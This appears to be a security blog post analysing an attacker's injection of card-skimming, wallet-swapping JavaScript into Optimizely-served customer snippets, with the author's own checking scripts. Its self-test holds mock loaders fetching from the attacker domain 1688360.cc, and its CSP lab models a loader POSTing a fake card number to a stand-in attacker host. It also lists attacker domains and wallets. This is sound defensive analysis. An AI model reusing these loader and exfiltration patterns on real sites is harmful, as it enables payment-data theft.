Optimizely Says a Signup-Flow Flaw Let an Attacker Plant Malware in Projects Its CDN Served to 178 Organizations, but Not How the Flaw Reached Other Customers, and the CSP Style Its Docs Recommend Does Not Stop the Loader
Optimizely’s status page and its statement to BleepingComputer differ on the cause, neither explains how one flaw reached unrelated customers’ projects, and a seven-policy test in Edge shows which...
On Monday, November 16, an attacker used a vulnerability in Optimizely’s Web Experimentation platform to write malicious JavaScript into customer projects, and Optimizely’s own content delivery network served that code, with Optimizely’s certificate, to visitors of at least 178 organizations. The Register calls the product “a piece of software used to A/B test web pages.” The security firm Report URI found the code in 188 of the 1,611 snippets it checked. The payload swapped cryptocurrency addresses, skimmed card numbers typed into sites’ own form fields, took cookies and screenshots, and tried to load the Coruna and DarkSword iPhone exploit kits. At 19:20 UTC on Tuesday I fetched three snippet files named in the write-ups and none contained a loader. Optimizely has named the account signup flow in a statement to BleepingComputer, but not on its status page or in its X post, and it has not said how that flaw gave an attacker write access to unrelated customers’ projects.
Table Of Content
- The short version
- What Optimizely has said, and what it has not
- What the payload did
- A timeline from five sources
- What I checked myself
- Snippets: the three files named in the write-ups
- Domains: what is held and what still resolves
- Wallets: when the money moved
- Where the accounts differ
- Which CSP settings stopped the loader
- What to do
- What is still unknown
- Sources
The short version
- Mechanism. The attacker wrote code into the optional Project JavaScript field of customer projects. Report URI says the rest of each snippet was untouched and that “Optimizely’s CDN served exactly what it was given; this was not a CDN cache-poisoning attack.”
- Scale. 188 snippets belonging to 178 organizations, out of 1,611 checked. Report URI adds: “The real number is likely higher as we could only check snippets we could find in time.”
- Window. The first injection Report URI saw was at 04:21 UTC on November 16. Mass clean-up ran from about 20:40 to 21:10 UTC, and one of the 188 snippets was still infected at 21:52 UTC. StepSecurity puts the exposure at about 16 hours for most sites.
- Not the only channel. Hudson Rock’s report, which includes findings from a researcher at Ohey, found the same iPhone-targeting infrastructure in scripts from Kissmetrics, StorifyMe and minute-ly. SecurityWeek reports that the earliest of those observations dates to November 13 and that it is “unclear how the code got into these providers’ scripts.”
- Money. Report URI counted about $7,040 in the attacker’s wallets at 19:25 UTC on November 16. Hudson Rock’s report says the number of malicious page loads, successful thefts and compromised devices “remains unknown.”
Both main write-ups, from Report URI and StepSecurity, come from security vendors, and Report URI’s write-up names its own products as the ones that would have flagged the change. Each also publishes timestamps, hashes and captured files, and BleepingComputer (through urlscan.io scans) and Hudson Rock (which recovered the files itself and says the GitLab and Zoom archive hashes match) corroborated the core of it. This post adds checks I ran myself on Tuesday afternoon and lines up where the accounts differ.
What Optimizely has said, and what it has not
Optimizely has made three public statements, and they differ in detail.
- Status page. Its Statuspage record for “Web Experimentation Security Incident” was created at 01:02:57 UTC on November 17 with status monitoring, impact none and a single update, which was still the only update at 19:17 UTC: “Earlier today, Optimizely identified a security incident in which an unauthorized party exploited a vulnerability in Experimentation and used it to add malicious JavaScript to some customer projects.” It says the company fixed the vulnerability, removed the injected code from affected projects, secured affected user accounts and “put additional protections in place to prevent unauthorized code from being delivered.”
- X post. At 01:21:38 UTC it posted: “The vulnerable path is blocked, the injected code was removed, and customers have been contacted directly.”
- Statement to BleepingComputer. The same opening sentence, but the vulnerability is “in the Experimentation account signup flow.” It continues: “We have blocked access to the vulnerable path and deployed a fix.” It also says: “We have also ended active sessions, revoked tokens, and reset access for affected user accounts.” And: “Finally, we have blocked any code from being delivered in Cloudflare.” The Register repeats the sign-up detail.
Four gaps follow from those texts. The signup flow appears in only one of the three. None gives a number of affected customers; the status page says “some customer projects.” None explains how a flaw in a signup flow reached projects belonging to other customers; Report URI lists the possibilities as “a compromised Optimizely system, a compromised credential with cross-customer access, or something else.” And the status entry came 20 hours 41 minutes after the first injection in Report URI’s timeline and about four hours after the clean-up it observed. SecurityWeek recalls a separate incident in February, a voice-phishing attack on internal business systems, when Optimizely said the attacker “was unable to escalate privileges, install software, or create any backdoors.” Nothing published links that incident to this one. Our earlier reports on vendor-channel compromises, including Rank Math PRO, cPGuard and LiteLLM, show the same shape: the compromise sat in a trusted supplier’s channel rather than in the customer’s own code.
What the payload did
Report URI and StepSecurity agree on the outline, and the payload file was rebuilt 26 times during the day, per Report URI. Every visitor got the same script. It checks wallet addresses for valid checksums (Bitcoin, Ethereum and other EVM chains, TRON, Solana, TON, Litecoin, Bitcoin Cash, Dogecoin) and replaces them in page text, form fields, links, the clipboard and outgoing requests. A card skimmer was added at 13:43 UTC; it watches form submissions and requests for a Luhn-valid card number with expiry and CVV and sends them out, and Report URI says cards typed into hosted payment iframes were out of its reach while cards typed into a site’s own fields were not. After a swap it also sends the page URL, cookies not marked HttpOnly, the replaced addresses and a screenshot. On iPhones and iPads it loads Coruna for iOS 13 to 17 and DarkSword for iOS 18, per Report URI, and pages on iOS 18.6 or earlier reload every 60 seconds to retry. BleepingComputer’s earlier report says DarkSword targets iPhones running iOS 18.4 through 18.7.
Hudson Rock is more careful about the iPhone side: “The supported conclusion is a connection to exploit-kit delivery infrastructure. The current evidence does not establish a zero-day, successful device exploitation, or collection of specific device data by unseen downstream stages.” Report URI says the kit’s own comments name iOS 18.7.3 and 26.3 as patched; Apple’s security releases list dates iOS 18.7.3 to December 12, 2025 and iOS 26.3 to February 11, 2026. I did not check which fixes each release carries.
A timeline from five sources
Times are UTC. “RDAP” means registry data I queried on Tuesday, “chain” means the public Bitcoin and Litecoin transaction lists, and “fetch” is my own request. Report URI’s entries are its own observations.
| When | Event | Source |
|---|---|---|
| Nov 9, 17:52:42 | 5vobauua3ojpklx[.]icu and two sibling .icu domains registered in the same second | RDAP |
| Nov 16, 04:21 | First Optimizely injection Report URI saw: a BBC snippet loading code from webshell[.]lol | Report URI |
| 05:23:08 | 1688360[.]cc registered | RDAP, Report URI |
| 08:28 | 1688360[.]cc/track.js first seen on bbc.com | Report URI |
| 13:43 | Card skimmer added to the payload | Report URI |
| 16:38:42 | eil786npto9u5bq[.]icu and two siblings registered (second iOS router) | RDAP, Report URI |
| 17:13 to 17:57 | Second iOS host added; Coruna iframe injected for iOS 18.6 or earlier | Report URI |
| about 20:40 to 21:10 | Mass clean-up (Ledger 20:41, Smartsheet 20:56, BBC 21:07) | Report URI |
| 21:52 | One of 188 snippets still infected (TalkTalk) | Report URI |
| 23:39:51 and 23:44:57 | ios-hack[.]icu and q1ls1ho9x7wsxlu[.]icu registered | RDAP |
| Nov 17, 00:37:51 | 1688360[.]cc record last changed (it shows client hold; StepSecurity dates the hold to 00:37) | RDAP, StepSecurity |
| 01:02:57 | Optimizely status entry created; X post at 01:21:38 | Statuspage API, X |
| 03:37:29 | webshell[.]lol record last changed (it shows client hold) | RDAP |
| 04:11:15 and 05:39:48 | Litecoin and Bitcoin addresses emptied | chain |
| 10:18:57 | New 1.7065 LTC deposit to the Litecoin address | chain |
| 19:20 | Three named snippets contain no loader | fetch |
What I checked myself
Nothing below connects to an attacker host. The domain script asks registries and Cloudflare’s resolver, the wallet script reads public block explorers, and the snippet script downloads three public Optimizely files as text without running them. I did not fetch the payload.
Snippets: the three files named in the write-ups
Report URI’s example URL, the GitLab chain StepSecurity traced and the Mutual of Omaha chain it traced are all public. The checker looks for the attacker domains and marker names that Report URI lists, and decodes atob() arguments because one loader variant hides its URL in base64. It misses a loader that looks like none of the shapes described, so a clean result is a floor, not a clearance. First the self-test on made-up strings, then the three live files:
# snippet_check.py: look for the loader shapes described in the Report URI write-up (17 November 2026) in a served Optimizely snippet.
# Usage: python snippet_check.py --selftest
# python snippet_check.py https://cdn.optimizely.com/js/PROJECT_ID.js [more URLs or local files]
import base64
import re
import sys
import urllib.request
# Attacker domains and global marker names listed by Report URI. A changed loader will not match these.
INDICATORS = ["1688360", "webshell.lol", "linkforge.cc", "window._k7", "__k7b"]
ATOB = re.compile(r"atob\(\s*([\"'])([A-Za-z0-9+/=]{16,})\1\s*\)")
def scan(text):
found = [i for i in INDICATORS if i in text]
for m in ATOB.finditer(text):
blob = m.group(2)
try:
decoded = base64.b64decode(blob + "=" * (-len(blob) % 4)).decode("utf-8", "replace")
except ValueError:
continue
if re.search(r"https?://", decoded):
found.append("atob() decodes to a URL: " + decoded[:80])
return found
def load(arg):
if arg.startswith("http"):
req = urllib.request.Request(arg, headers={"User-Agent": "snippet-check/1.0"})
with urllib.request.urlopen(req, timeout=30) as r:
return r.read().decode("utf-8", "replace"), r.headers.get("Last-Modified", "-")
with open(arg, encoding="utf-8") as f:
return f.read(), "-"
def b64(s):
return base64.b64encode(s.encode()).decode()
SAMPLES = {
"made-up plain loader": 'var s=document.createElement("script");s.src="https://1688360.cc/track.js";document.head.appendChild(s);',
"made-up base64 loader": 'var u=atob("%s");var s=document.createElement("script");s.src=u;document.head.appendChild(s);' % b64("https://1688360.cc/track.js"),
"made-up base64, other domain": "var u=atob('%s');load(u);" % b64("https://example.invalid/other/loader.js"),
"made-up clean snippet": 'var vendor=1;console.log("hello");var data=atob("%s");' % b64("hello world this is plain text"),
}
if __name__ == "__main__":
args = sys.argv[1:]
items = [(n, t, "-") for n, t in SAMPLES.items()] if args == ["--selftest"] else [(a,) + load(a) for a in args]
for name, text, modified in items:
hits = scan(text)
print(("FLAGGED " if hits else "clean ") + name
+ (" [Last-Modified: %s]" % modified if modified != "-" else "")
+ (" " + "; ".join(hits) if hits else ""))
FLAGGED made-up plain loader 1688360
FLAGGED made-up base64 loader atob() decodes to a URL: https://1688360.cc/track.js
FLAGGED made-up base64, other domain atob() decodes to a URL: https://example.invalid/other/loader.js
clean made-up clean snippet
The command for the live files is python snippet_check.py https://cdn.optimizely.com/js/6395285578973184.js https://cdn.optimizely.com/js/5113954737848320.js https://cdn.optimizely.com/js/25010540072.js, and at 19:20 UTC on Tuesday it printed:
clean https://cdn.optimizely.com/js/6395285578973184.js [Last-Modified: Mon, 16 Nov 2026 21:38:09 GMT]
clean https://cdn.optimizely.com/js/5113954737848320.js [Last-Modified: Mon, 16 Nov 2026 21:29:18 GMT]
clean https://cdn.optimizely.com/js/25010540072.js [Last-Modified: Tue, 17 Nov 2026 18:42:29 GMT]
The Last-Modified times of the first two (21:38 and 21:29 UTC on Monday) come after the 20:40 to 21:10 clean-up Report URI observed and before its 21:52 check, which is consistent with a clean-up republish, though a Last-Modified header alone does not say what changed. The third was modified at 18:42 UTC on Tuesday, which could be a customer edit or an Optimizely publish. All three are clean.
Domains: what is held and what still resolves
# domain_status.py: registration data (RDAP) and A records (Cloudflare DNS-over-HTTPS) for the domains named in the write-ups.
# It talks only to registry RDAP servers and to Cloudflare's resolver. It never connects to the listed hosts.
import requests
DOMAINS = [
"1688360.cc", "webshell.lol", "linkforge.cc",
"5vobauua3ojpklx.icu", "je4ft3gn8vxudum.icu", "p55abnw2pnsz0bo.icu",
"eil786npto9u5bq.icu", "1y69gy2mdzaltz1.icu", "gm38duxoihbmy5o.icu",
"l7bcsnwc7nzr3uo.icu", "ios-hack.icu", "q1ls1ho9x7wsxlu.icu",
]
bootstrap = requests.get("https://data.iana.org/rdap/dns.json", timeout=30).json()
def rdap_base(tld):
for suffixes, urls in bootstrap["services"]:
if tld in suffixes:
return urls[0].rstrip("/")
for d in DOMAINS:
rdap = requests.get(rdap_base(d.rsplit(".", 1)[1]) + "/domain/" + d,
headers={"Accept": "application/rdap+json"}, timeout=30).json()
events = {e["eventAction"]: e["eventDate"] for e in rdap.get("events", [])}
holds = [s for s in rdap.get("status", []) if "hold" in s]
dns = requests.get("https://cloudflare-dns.com/dns-query", params={"name": d, "type": "A"},
headers={"Accept": "application/dns-json"}, timeout=30).json()
a_records = [x["data"] for x in dns.get("Answer", []) if x["type"] == 1]
answer = "NXDOMAIN" if dns.get("Status") == 3 else (", ".join(a_records[:2]) or "no A record")
print("%-20s registered %s changed %s hold: %-11s DNS: %s" % (
d, events.get("registration", "?")[:19], events.get("last changed", "-")[:19], ",".join(holds) or "none", answer))
1688360.cc registered 2026-11-16T05:23:08 changed 2026-11-17T00:37:51 hold: client hold DNS: NXDOMAIN
webshell.lol registered 2024-04-03T04:23:59 changed 2026-11-17T03:37:29 hold: client hold DNS: NXDOMAIN
linkforge.cc registered 2026-04-11T22:36:28 changed 2026-10-14T13:05:22 hold: none DNS: 104.21.83.111, 172.67.223.122
5vobauua3ojpklx.icu registered 2026-11-09T17:52:42 changed 2026-11-14T17:54:50 hold: none DNS: no A record
je4ft3gn8vxudum.icu registered 2026-11-09T17:52:42 changed 2026-11-14T17:54:50 hold: none DNS: no A record
p55abnw2pnsz0bo.icu registered 2026-11-09T17:52:42 changed 2026-11-14T17:54:50 hold: none DNS: no A record
eil786npto9u5bq.icu registered 2026-11-16T16:38:42 changed 2026-11-16T16:38:43 hold: none DNS: no A record
1y69gy2mdzaltz1.icu registered 2026-11-16T16:38:42 changed 2026-11-16T16:38:43 hold: none DNS: no A record
gm38duxoihbmy5o.icu registered 2026-11-16T16:38:42 changed 2026-11-16T16:38:43 hold: none DNS: no A record
l7bcsnwc7nzr3uo.icu registered 2026-10-28T13:22:43 changed 2026-11-03T21:39:13 hold: none DNS: 172.67.137.78, 104.21.54.87
ios-hack.icu registered 2026-11-16T23:39:51 changed 2026-11-16T23:39:52 hold: none DNS: 104.21.41.218, 172.67.152.10
q1ls1ho9x7wsxlu.icu registered 2026-11-16T23:44:57 changed - hold: none DNS: 104.21.96.130, 172.67.180.251
Three findings. First, the registration times match Report URI’s timeline: 1688360[.]cc at 05:23:08 UTC on November 16 and the second iOS router batch at 16:38:42, with three .icu domains registered in the same second in each batch. Second, the two domains with holds are on client hold, a registrar-side status; StepSecurity says the registry put 1688360[.]cc on hold at 00:37 UTC, and the time matches RDAP’s last change at 00:37:51 although the status is not a registry one. Third, none of the other ten domains is held: the two iOS router domains and their siblings returned no A record on Cloudflare’s resolver, but the Coruna telemetry domain, linkforge[.]cc and the two newest fallback domains still resolve to Cloudflare addresses. ios-hack[.]icu and q1ls1ho9x7wsxlu[.]icu were registered at 23:39 and 23:44 UTC on Monday, roughly three hours after the mass clean-up began. Registration is not access, so this does not show the attacker could still write to Optimizely projects. It does show the infrastructure was being extended after the clean-up, which is why blocking the whole list matters.
Wallets: when the money moved
# chain_check.py: deposits and withdrawals for the Bitcoin and Litecoin addresses that both write-ups list.
# Uses the public mempool.space and litecoinspace.org APIs (same API shape). Amounts are in satoshis or litoshis.
import datetime
import requests
ADDRESSES = [
("BTC", "https://mempool.space/api", "19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW"),
("LTC", "https://litecoinspace.org/api", "ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5"),
]
for coin, api, addr in ADDRESSES:
stats = requests.get("%s/address/%s" % (api, addr), timeout=30).json()["chain_stats"]
print("%s received %d, spent %d, transactions %d" % (coin, stats["funded_txo_sum"], stats["spent_txo_sum"], stats["tx_count"]))
txs = requests.get("%s/address/%s/txs" % (api, addr), timeout=30).json()
for tx in sorted(txs, key=lambda t: t["status"].get("block_time", 0)):
paid_in = sum(o["value"] for o in tx["vout"] if o.get("scriptpubkey_address") == addr)
moved_out = sum(o["value"] for o in tx["vout"] if o.get("scriptpubkey_address") != addr)
withdraw = any(v.get("prevout", {}).get("scriptpubkey_address") == addr for v in tx["vin"])
when = datetime.datetime.fromtimestamp(tx["status"]["block_time"], datetime.timezone.utc)
print(" %s %s %-8s %13d" % (when.strftime("%m-%d %H:%M:%SZ"), tx["txid"][:10],
"WITHDRAW" if withdraw else "deposit", moved_out if withdraw else paid_in))
BTC received 8528782, spent 8528782, transactions 6
11-16 11:13:59Z cb3b03b0f2 deposit 528070
11-16 13:18:05Z 79fc6ba6e1 deposit 7607213
11-16 16:25:53Z bd008339a9 deposit 84000
11-16 18:53:21Z c7a8a8e045 deposit 78436
11-16 19:57:06Z 9bfee1d566 deposit 231063
11-17 05:39:48Z 178a4af4ff WITHDRAW 8524462
LTC received 1873006566, spent 1702356566, transactions 5
11-16 15:24:18Z c014f92ff7 deposit 1500000000
11-16 15:51:29Z fe8f86520e deposit 135287485
11-16 16:39:59Z 1cfd8664eb deposit 67069081
11-17 04:11:15Z 742509bdf8 WITHDRAW 1702355822
11-17 10:18:57Z cad80972ad deposit 170650000
The first four Bitcoin deposits add up to 8,297,719 satoshis, which is Report URI’s 0.08298 BTC at 19:25 UTC. A fifth deposit of 231,063 satoshis arrived at 19:57:06 UTC, 32 minutes after that snapshot. One deposit, 7,607,213 satoshis at 13:18:05 UTC, is 89 percent of everything the address received. Both addresses were emptied on Tuesday, at 04:11:15 UTC (Litecoin) and 05:39:48 UTC (Bitcoin), which matches StepSecurity’s statement that three addresses were swept between 04:11 and 05:39 UTC. I only checked the Bitcoin and Litecoin addresses. The Litecoin address then received 1.7065 LTC at 10:18:57 UTC on Tuesday, long after the clean-up. The chain cannot say whether that was a victim paying an address swapped earlier, such as one saved in a wallet’s address book, or the attacker moving funds.
Where the accounts differ
- The cause. Optimizely’s status page says a vulnerability “in Experimentation”; its statement to BleepingComputer says “in the Experimentation account signup flow.” Report URI says it does not know how the attacker got write access to unrelated projects.
- The name. StepSecurity says a write-up by Amirul Cyber named the campaign OPTIMJACK. The Register says the criminals exploited “a vulnerability, dubbed ‘OPTIMJACK’ by researchers.”
- iPhone exploitation. Report URI says the script loads Coruna and DarkSword. Hudson Rock says the evidence shows a connection to delivery infrastructure and does not establish successful device exploitation.
- The hold. StepSecurity attributes the 00:37 UTC hold to the registry; RDAP shows client hold, the registrar-side status (the registry-side one is server hold).
- The money. The $7,040 figure is a 19:25 UTC snapshot of five assets. The chain shows one more Bitcoin deposit 32 minutes later and a Litecoin deposit after the clean-up, and Report URI says it cannot see how many cards or cookies reached the attacker’s server.
- The 15 percent. Report URI says it crawled 256 affected organizations’ own hosts and tabulated four outcomes: 68 with no CSP, 50 where the CSP allowed the payload and the theft, 17 where the payload ran but connect-src blocked the theft, and 24 where the payload was blocked, “24 (15%).” Those rows add up to 159, not 256. The 15 percent is 24 of 159; against all 256 hosts it would be 9.4 percent. The write-up does not say what happened to the other 97 hosts.
Which CSP settings stopped the loader
Report URI’s crawl says only a restrictive script-src blocked the payload and that two common settings let it through: 'strict-dynamic' and 'unsafe-eval'. That is easy to test. MDN describes 'strict-dynamic' as trust given to a script with a nonce or hash that “shall be propagated to all the scripts loaded by that root script.” Optimizely’s own CSP article recommends exactly that style: “In browsers that support strict-dynamic (Content Security Policy Level 3), it is only necessary to apply the nonce value to the Optimizely Experimentation snippet script tag,” and the directive can be simplified to script-src 'nonce-[your-nonce-value]' 'strict-dynamic'. Its example policy also lists a connect-src limited to Optimizely hosts. Report URI also says Optimizely’s documentation tells customers to allow 'unsafe-eval'; the CSP article I read does not mention it, and I did not find the page Report URI means.
The lab below is a harmless model of the pattern. A stand-in “CDN” serves vendor code plus an injected loader in two shapes (a script tag for a remote file, and an inline copy that runs through eval() if the remote file did not run). The remote file sets a flag and POSTs a fake card number to a stand-in attacker host. Edge loads the page under seven policies; every request is answered inside Playwright, so nothing leaves the machine. I used a fetch() POST where the real payload uses navigator.sendBeacon; both fall under connect-src. The last column counts console messages that mention Content Security Policy.
# csp_lab.py: a harmless model of the Optimizely loader pattern, tested in Microsoft Edge under seven CSP headers.
# Needs: pip install playwright (and Microsoft Edge installed; no browser download is needed)
import json
from playwright.sync_api import sync_playwright
NONCE = "r4nd0m"
SHOP, CDN, EVIL = "http://shop.test", "http://cdn.test", "http://attacker.test"
# What the attacker's remote file does in this model: mark itself as run and POST a fake card number.
PAYLOAD = "window.__payload=%s;fetch('" + EVIL + "/card.php',{method:'POST',mode:'no-cors',body:'card=4111'});"
# What the CDN serves: vendor code (a stand-in) plus an injected loader that has two shapes:
# a script tag for the remote file, and an inline copy that runs through eval() if the remote file does not run.
SNIPPET = (
"window.__vendor='ran';"
"(function(){var s=document.createElement('script');s.src='" + EVIL + "/track.js';s.async=true;"
"(document.head||document.documentElement).appendChild(s);})();"
"setTimeout(function(){if(!window.__payload){try{eval(" + json.dumps(PAYLOAD % "'inline'") + ");}"
"catch(e){window.__eval_error=e.name;}}},500);"
)
PAGE = ("<!doctype html><title>shop</title><h1>shop</h1>"
"<script nonce=\"" + NONCE + "\" src=\"" + CDN + "/snippet.js\"></script>")
VARIANTS = [
("A no CSP", None),
("B script-src with hosts only", "script-src " + SHOP + " " + CDN),
("C B plus 'unsafe-eval'", "script-src " + SHOP + " " + CDN + " 'unsafe-eval'"),
("D C plus connect-src 'self'", "script-src " + SHOP + " " + CDN + " 'unsafe-eval'; connect-src 'self'"),
("E nonce plus 'strict-dynamic'", "script-src 'nonce-" + NONCE + "' 'strict-dynamic'"),
("F E plus connect-src 'self'", "script-src 'nonce-" + NONCE + "' 'strict-dynamic'; connect-src 'self'"),
("G vendor-style: hosts, nonce, 'strict-dynamic', connect-src to vendor hosts",
"script-src 'self' http://*.cdn.test 'nonce-" + NONCE + "' 'strict-dynamic'; connect-src http://logx.cdn.test http://*.cdn.test"),
]
def run_variant(browser, csp):
hits = {"track.js": 0, "card.php": 0}
ctx = browser.new_context()
def handler(route):
url = route.request.url
if url == SHOP + "/":
headers = {"content-type": "text/html"}
if csp:
headers["content-security-policy"] = csp
route.fulfill(status=200, headers=headers, body=PAGE)
elif url == CDN + "/snippet.js":
route.fulfill(status=200, headers={"content-type": "application/javascript"}, body=SNIPPET)
elif url == EVIL + "/track.js":
hits["track.js"] += 1
route.fulfill(status=200, headers={"content-type": "application/javascript"}, body=PAYLOAD % "'remote'")
elif url == EVIL + "/card.php":
hits["card.php"] += 1
route.fulfill(status=204, body="")
else:
route.abort()
ctx.route("**/*", handler)
page = ctx.new_page()
violations = []
page.on("console", lambda m: violations.append(m.text) if "Content Security Policy" in m.text else None)
page.goto(SHOP + "/")
page.wait_for_timeout(1500)
state = page.evaluate("({vendor: window.__vendor || null, payload: window.__payload || null, evalError: window.__eval_error || null})")
ctx.close()
return state, hits, len(violations)
with sync_playwright() as p:
browser = p.chromium.launch(channel="msedge", headless=True)
print("Edge", browser.version)
print("%-72s %-7s %-9s %-14s %-12s %s" % ("variant", "vendor", "payload", "track.js asked", "card POST", "CSP errors"))
for name, csp in VARIANTS:
state, hits, n = run_variant(browser, csp)
print("%-72s %-7s %-9s %-14s %-12s %d" % (name, state["vendor"], state["payload"], hits["track.js"], hits["card.php"], n))
browser.close()
Edge 157.0.4341.60
variant vendor payload track.js asked card POST CSP errors
A no CSP ran remote 1 1 0
B script-src with hosts only ran None 0 0 1
C B plus 'unsafe-eval' ran inline 0 1 1
D C plus connect-src 'self' ran inline 0 0 3
E nonce plus 'strict-dynamic' ran remote 1 1 0
F E plus connect-src 'self' ran remote 1 0 2
G vendor-style: hosts, nonce, 'strict-dynamic', connect-src to vendor hosts ran remote 1 0 2
Report URI’s categories reproduce in Edge 157. Only policy B, a script-src that lists the hosts the page needs and nothing else, stopped the payload. Adding 'unsafe-eval' (C) let the inline copy run, and with a connect-src as well (D) the copy ran but the POST was blocked, which is what Report URI describes at HSBC. The nonce and 'strict-dynamic' policy (E) let the injected script tag load, because the snippet that inserted it was already trusted. A connect-src limited to the page or to vendor hosts (D, F and G) stopped the card POST but not the payload itself. In-page behavior such as address swapping needs no network request, though this lab did not model it, so a connect-src alone should not be expected to stop it. Policy G, shaped like the one in Optimizely’s article with stand-in hosts, therefore ran the loader and blocked only the POST. This tests one loader pattern, not the real payload; whether Optimizely’s client still works under a hosts-only policy is something each site has to test, and Optimizely’s article recommends the nonce style.
What to do
Most of these steps follow Report URI’s own list; steps 3 and 6 use the checks above.
- If your site uses Optimizely Web, open every project’s Project JavaScript field and every experiment’s custom code, and look for
1688360,atob(and any script you did not write. Blocking the attacker domain is not enough, because one variant carried a full inline copy of the payload. - Review who and what has write access to your Optimizely account (users, API tokens, integrations) and rotate credentials. Optimizely says it ended active sessions and revoked tokens for affected user accounts; that does not tell you about accounts it did not identify as affected.
- Run the snippet checker against the snippet URL each of your sites serves, including copies served from your own domain, which Report URI says were affected because the content comes from the same project.
- Treat cards typed into your own form fields on November 16, and any secret in a cookie not marked HttpOnly, as exposed. Report URI also suggests deciding whether to tell customers that you served them malware.
- Deploy a CSP with a
connect-srcthat lists where your pages send data, avoid'unsafe-eval'where you can, and turn on reporting. Know that'strict-dynamic'trusts anything the vendor’s script inserts. - Block the twelve domains in the
domain_status.pylist above, including subdomains, in DNS and proxy rules. The two iOS router domains had no A record at 19:20 UTC but are not held. - If you visited an affected site on November 16, update iPhones and iPads to iOS 18.7.3 or later, or iOS 26.3 or later, per Report URI, and check any cryptocurrency transfer you made that day against the address you meant to use.
What is still unknown
How the attacker reached other customers’ projects, how many customers and visitors were affected, how many cards and cookies were taken, whether the Kissmetrics, StorifyMe and minute-ly code shares an entry point with the Optimizely injection, and why a record that describes malicious JavaScript added to customer projects carries impact none. Optimizely says it will publish updates at status.optimizely.com; its record still read “monitoring” at 19:17 UTC on Tuesday.
Sources
- Report URI: World’s Largest Brands Infected With Malware Via Optimizely (Scott Helme, November 16; timeline, payload, affected organizations, CSP crawl, indicators)
- StepSecurity: OPTIMJACK (November 17, updated; urlscan.io analysis, payload reading, wallet sweeps)
- Optimizely status page and its Statuspage API; Optimizely on X
- BleepingComputer, The Register, SecurityWeek and SecurityWeek’s February report
- Hudson Rock (response-body evidence for four providers)
- Optimizely: Update your site’s Content Security Policies; MDN: CSP script-src; Apple security releases
- mempool.space, litecoinspace.org, IANA RDAP bootstrap and Cloudflare’s DNS-over-HTTPS resolver for the checks above








No Comment! Be the first one.